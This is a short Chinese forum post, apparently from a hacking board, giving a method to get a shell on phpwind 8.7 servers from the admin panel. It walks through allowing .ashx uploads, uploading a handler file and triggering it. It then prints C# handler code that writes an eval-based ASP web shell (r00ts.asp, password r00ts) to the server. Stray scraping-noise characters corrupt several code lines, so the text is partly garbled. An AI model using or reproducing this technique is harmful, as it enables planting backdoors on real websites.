phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

9 k, ?8 a  i6 P* b) F2 F  m, m群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
: _) T7 B9 R7 e+ C# C2 D& r
% [" o4 f3 \7 c. U发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

" D1 r& d9 ?! p: A3 ~: m8 N下面是代码:

9 S% o, Y& P. d2 Q8 C<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
0 W2 [! \1 N. r+ y0 |2 X6 o: G0 N+ f1 Apublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
* Q1 I( k; |+ J+ K2 Tcontext.Response.ContentType = "text/plain";
. h+ X- Q7 X7 o4 [& xStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
- r* `+ \# e& T3 J0 Q5 F& T0 zfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
! i1 H& A/ F+ `5 E2 P) Sfile1.Close();
; S8 _8 C9 D$ S7 _2 F}
' }6 R6 B; B5 b7 o2 K+ m8 O1 jpublic bool IsReusable {
' N7 S7 e  O6 |get {
" Q" P0 m9 A/ C6 t, x+ o* Ureturn false;
- ~. L3 k) H8 S}
}
3 x" Z( a9 T' V5 U4 f}
; |, {' D" W: [3 _8 E) q0 l" ~